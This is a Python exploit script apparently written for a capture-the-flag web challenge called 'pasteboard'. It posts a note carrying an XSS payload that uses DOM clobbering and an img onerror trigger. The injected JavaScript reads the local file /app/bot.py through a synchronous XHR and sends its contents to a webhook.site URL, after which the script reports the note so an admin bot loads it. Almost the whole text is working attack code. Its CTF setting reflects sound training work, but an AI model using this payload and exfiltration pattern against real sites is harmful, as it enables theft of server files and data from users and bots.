import requests

BASE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# Try XMLHttpRequest synchronous - sometimes works with --no-sandbox
payload = '''<form id="errorReporter"><input name="path" value="data:text/javascript,
try {
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'file:///app/bot.py', false);
  xhr.send();
  var content = xhr.responseText;
  fetch('https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/XHR_FILE?flag='+encodeURIComponent(content));
} catch(e) {
  fetch('https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078/XHR_ERR?e='+encodeURIComponent(e.toString()+'|'+e.message));
}
"></form>
<img id="renderConfig" src=x onerror="window.lastRenderError='x';throw new Error()">'''

print("[*] Trying XMLHttpRequest to read file:///app/bot.py...")
print()

session = requests.Session()
resp = session.post(
    f"{BASE_URL}/note/new",
    data={"title": "XHR File", "body": payload},
    allow_redirects=False
)

if resp.status_code == 302:
    location = resp.headers.get('Location')
    note_url = f"{BASE_URL}{location}"
    
    print(f"[+] Created: {note_url}")
    
    report = session.post(f"{BASE_URL}/report", data={"url": location})
    if report.status_code == 202:
        print(f"[+] Reported!")
        print()
        print("[*] Check webhook for /XHR_FILE (success) or /XHR_ERR (failure)")
        print("    https://webhook.site/#!/d8111fd3-599a-47ab-bcab-94d5ec54e078")
